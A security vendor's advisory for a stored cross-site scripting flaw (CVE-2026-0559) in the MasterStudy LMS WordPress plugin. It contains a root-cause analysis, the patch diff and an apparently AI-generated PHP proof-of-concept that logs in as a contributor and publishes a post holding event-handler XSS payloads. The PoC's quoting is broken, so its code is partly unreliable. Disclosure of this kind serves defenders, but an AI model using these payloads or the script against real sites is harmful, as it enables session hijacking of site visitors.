Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0559: MasterStudy LMS WordPress Plugin – for Online Courses and Education <= 3.7.11 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'stm_lms_courses_grid_display' Shortcode (masterstudy-lms-learning-management-system)

CVE ID CVE-2026-0559
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.7.11
Patched Version 3.7.12
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0559:
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the MasterStudy LMS WordPress plugin. The vulnerability resides in the ‘stm_lms_courses_grid_display’ shortcode handler. Attackers with contributor-level or higher permissions can inject malicious scripts into pages, which execute when a victim views the page. The CVSS score of 6.4 reflects a medium severity impact.

The root cause is insufficient input sanitization and output escaping for user-supplied shortcode attributes. In the vulnerable version, the function `stm_lms_courses_grid_display` in `/masterstudy-lms-learning-management-system/_core/includes/shortcodes/grid.php` directly passed the raw `$atts` array to the template rendering functions `STM_LMS_Templates::show_lms_template`. The function did not validate, sanitize, or escape the attribute values before they were rendered in the page’s HTML context.

Exploitation requires an authenticated user with the contributor role or higher. The attacker creates or edits a post or page and inserts the shortcode `[stm_lms_courses_grid_display]` with malicious HTML attributes containing JavaScript payloads. For example, an attacker could use `[stm_lms_courses_grid_display load_more=”1″ onmouseover=”alert(document.cookie)”]`. When the page is saved and later viewed by any user, the malicious script executes in the victim’s browser.

The patch modifies the `stm_lms_courses_grid_display` function. It introduces a `$defaults` array and uses `shortcode_atts` to parse attributes. It creates a new `$sanitized_atts` array. The only allowed attribute, `load_more`, is strictly cast to an integer (0 or 1). This sanitized array, not the raw user input, is passed to the template functions. The patch also increments the plugin version to 3.7.12 in the `init.php` and main plugin files.

Successful exploitation allows an attacker to inject arbitrary JavaScript into pages. This can lead to session hijacking, account takeover, defacement, or redirection to malicious sites. The attacker can perform actions within the victim’s session, potentially escalating privileges if an administrator views the compromised page.

Differential between vulnerable and patched code

Code Diff
--- a/masterstudy-lms-learning-management-system/_core/includes/shortcodes/grid.php
+++ b/masterstudy-lms-learning-management-system/_core/includes/shortcodes/grid.php
@@ -1,24 +1,46 @@
 <?php
+/**
+ * Render courses grid shortcode.
+ *
+ * @param array|string $atts Shortcode attributes.
+ *
+ * @return string
+ */
 function stm_lms_courses_grid_display( $atts ) {
-	if ( empty( $atts ) ) {
-		$atts = array();
-	}
+	$atts = (array) $atts;

+	$defaults = array(
+		'load_more' => 0,
+	);
+
+	$parsed_atts    = shortcode_atts( $defaults, $atts, 'stm_lms_courses_grid_display' );
+	$sanitized_atts = array();
+
+	// we are killing attribute injection with this minimalistic fix
+	$sanitized_atts['load_more'] = ! empty( $parsed_atts['load_more'] ) ? 1 : 0;
 	ob_start();
 	?>
-
 	<div class="stm_lms_courses_grid stm_lms_courses">
 		<?php
-		STM_LMS_Templates::show_lms_template( 'courses/grid', array( 'args' => $atts ) );
-		if ( ! empty( $atts['load_more'] ) ) {
-			STM_LMS_Templates::show_lms_template( 'courses/load_more', array( 'args' => $atts ) );
+		STM_LMS_Templates::show_lms_template(
+			'courses/grid',
+			array(
+				'args' => $sanitized_atts,
+			)
+		);
+
+		if ( ! empty( $sanitized_atts['load_more'] ) ) {
+			STM_LMS_Templates::show_lms_template(
+				'courses/load_more',
+				array(
+					'args' => $sanitized_atts,
+				)
+			);
 		}
 		?>
 	</div>
-
 	<?php
 	return ob_get_clean();
-
 }

 add_shortcode( 'stm_lms_courses_grid_display', 'stm_lms_courses_grid_display' );
--- a/masterstudy-lms-learning-management-system/_core/init.php
+++ b/masterstudy-lms-learning-management-system/_core/init.php
@@ -3,7 +3,7 @@
 define( 'STM_LMS_DIR', __DIR__ );
 define( 'STM_LMS_PATH', dirname( STM_LMS_FILE ) );
 define( 'STM_LMS_URL', plugin_dir_url( STM_LMS_FILE ) );
-define( 'STM_LMS_VERSION', '3.7.11' );
+define( 'STM_LMS_VERSION', '3.7.12' );
 define( 'STM_LMS_DB_VERSION', '3.7.5' );
 define( 'STM_LMS_BASE_API_URL', '/wp-json/lms' );
 define( 'STM_LMS_LIBRARY', STM_LMS_PATH . '/libraries' );
--- a/masterstudy-lms-learning-management-system/masterstudy-lms-learning-management-system.php
+++ b/masterstudy-lms-learning-management-system/masterstudy-lms-learning-management-system.php
@@ -7,7 +7,7 @@
  * Author: StylemixThemes
  * Author URI: https://stylemixthemes.com/
  * Text Domain: masterstudy-lms-learning-management-system
- * Version: 3.7.11
+ * Version: 3.7.12
  * Masterstudy LMS Pro tested up to: 4.8
  */

@@ -15,7 +15,7 @@
 	exit; // Exit if accessed directly
 }

-define( 'MS_LMS_VERSION', '3.7.11' );
+define( 'MS_LMS_VERSION', '3.7.12' );
 define( 'MS_LMS_FILE', __FILE__ );
 define( 'MS_LMS_PATH', dirname( MS_LMS_FILE ) );
 define( 'MS_LMS_URL', plugin_dir_url( MS_LMS_FILE ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0559 - MasterStudy LMS WordPress Plugin – for Online Courses and Education <= 3.7.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'stm_lms_courses_grid_display' Shortcode

<?php

$target_url = 'http://vulnerable-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload: Inject an XSS payload via the shortcode's load_more attribute.
// The payload uses an event handler to execute JavaScript.
$post_content = 'This post contains a malicious shortcode.nn[stm_lms_courses_grid_display load_more="1" onmouseover="alert('XSS');" class="" onfocus=alert(document.domain) autofocus ""]';
$post_title = 'Test Post with XSS';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// First, get the login page to retrieve the nonce
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-login.php');
$login_page = curl_exec($ch);

// Extract the login nonce (wpnonce) from the form. This is a simplified example.
// In a real scenario, you would parse the HTML properly.
preg_match('/name="log" value="([^"]*)"/', $login_page, $log_match);
$log = $log_match[1] ?? '';

// Perform the login POST
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$login_response = curl_exec($ch);

// Check if login succeeded by looking for a redirect or dashboard
if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Now, create a new post with the malicious shortcode
// Get the post creation page to retrieve nonces
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);

// Extract the nonce for creating a post (_wpnonce). Simplified extraction.
preg_match('/name="_wpnonce" value="([^"]*)"/', $post_page, $nonce_match);
$nonce = $nonce_match[1] ?? '';

if (empty($nonce)) {
    die('Could not retrieve security nonce.');
}

// Data for creating the post
$post_data = http_build_query([
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'post_type' => 'post'
]);

curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-site.com/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$post_response = curl_exec($ch);

// Check for success
if (strpos($post_response, 'Post published.') !== false || strpos($post_response, 'Post updated.') !== false) {
    echo 'Exploit successful. Post containing XSS payload published.n';
    echo 'Visit the post page to trigger the payload when the mouse hovers over the grid.n';
} else {
    echo 'Post creation may have failed. Check response.n';
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School